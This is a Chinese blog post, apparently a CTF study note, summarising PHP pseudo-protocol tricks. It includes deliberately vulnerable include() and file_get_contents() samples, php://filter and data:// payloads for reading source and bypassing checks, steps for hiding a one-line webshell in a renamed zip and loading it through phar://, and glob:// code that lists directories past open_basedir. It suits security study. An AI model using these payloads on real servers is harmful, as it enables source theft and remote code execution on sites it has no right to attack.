加载中...

PHP伪协议总结


二 PHP伪协议绕过总结

原理:

  • allow_url_fopen :on #默认开启 ,表示允许url里的封装协议访问文件;
  • allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;

1.php://input

注意点
①input必须以post请求
②enctype=“multipart/form-data” 的时候 php://input 是无效的
③allow_url_include=on

php://input 是个可以访问请求的原始数据的只读流,可以让本来的get参数从post获得数据

使用的时候不要把数据包中的GET改成POST,直接在下面空一行填参数内容内容即可(不要加参数名=)

1.绕过file_get_contents内容检查

2.通过include实现代码执行

2 data:// 同样可以用来绕过file_get_contents的内容检查,

​ 使用条件:
​ allow_url_fopen,allow_url_include 均为on

将攻击代码转换为data:URL形式进行攻击,以传递相应格式的数据用来执行PHP代码。为了防止直接在URL连接中的一些敏感字符被waf检测拦截,可将攻击代码进行base64编码。

1
2
3
4
5
6
7
8
9
10
<?php
include('flag.php');
if(file_get_contents($_GET['a'],'r')=='get flag'){
echo 'success!'.'<br/>';
echo $flag;
}
else{
echo 'wrong file!';
}
?>

可以用
?a=data:text/plain,get flag
或a=data://text/plain,get flag
或a=data:text/plain,get flag
拿到flag,
也可以使用base64编码:
a=data:text/plain;base64,Z2V0IGZsYWc=

3 php://filter

filter

1
2
3
<?php
include($_GET['a']);
?>

如果直接包含flag.php的话是读不到源代码的,但我们可以访问

?a=php://filter/convert.base64-encode/resource=flag.php
得到flag.php base64编码后的源代码

4 phar:// 类似于zip伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

  用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。   步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

  

  在CTF中,可以利用这些伪协议来进行骚操作

img

5 glob://伪协议

1
glob``:``// — 查找匹配的文件路径模式

glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:

1
2
3
4
5
6
7
8
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

方式1——DirectoryIterator+glob://

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。

DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:

1
2
3
4
5
6
7
<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

输入glob:///*即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件:

方式2——opendir()+readdir()+glob://

opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目。

这里结合两个函数来列举根目录中的文件:

1
2
3
4
5
6
7
8
9
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>

效果和方式1是一样的,只能Bypass open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。

6 zib伪协议

?file=compress.zlib://flag.php


文章作者: Wuhen
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wuhen !
评论
  目录